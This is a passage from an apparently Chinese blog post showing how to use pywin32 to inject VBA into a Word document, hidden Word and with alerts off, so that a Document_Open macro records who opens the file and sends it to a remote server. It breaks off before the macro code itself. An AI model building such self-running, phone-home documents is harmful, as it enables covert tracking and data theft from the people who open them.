pywin32为python扩展包,几乎可以实现所有对office的操作,下面介绍如何利用pywin32导入宏到word,并监控word文档的打开,即当word文档打开时执行vba脚本,记录相应的打开者信息,并发送信息到远程服务器上。关于pywin32如何创建文档,操作文档,网上有很多资料,但是如何通过程序导入宏代码,目前还没有找到。之所以写这篇日志,是因为找了很多天的中文英文资料,也没有结果,突然灵光一闪,在一次意外的尝试下,竟然搞定了。代码如下:
import win32com
from win32com.client import Dispatch,constants
#创建word应用程序实例
docApp = win32com.client.gencache.EnsureDispatch('Word.Application')
# run in back-control and no warnings
docApp.Visible = 0
docApp.DisplayAlerts = 0
#可以利用该实例插入文档内容等等,因与主题无关,此处省略
#导入宏代码
#通过文档实例,获取VBProject的组件,其中VBComponents中的参数至关重要,因为ThisDocument表示该文档,也就是说所有这篇生成文档的操作在该组件中都可以捕获#到,那么就可以在里面创建Document_Open函数来监控文档被打开
docCode = doc.VBProject.VBComponents("ThisDocument").CodeModule
macro =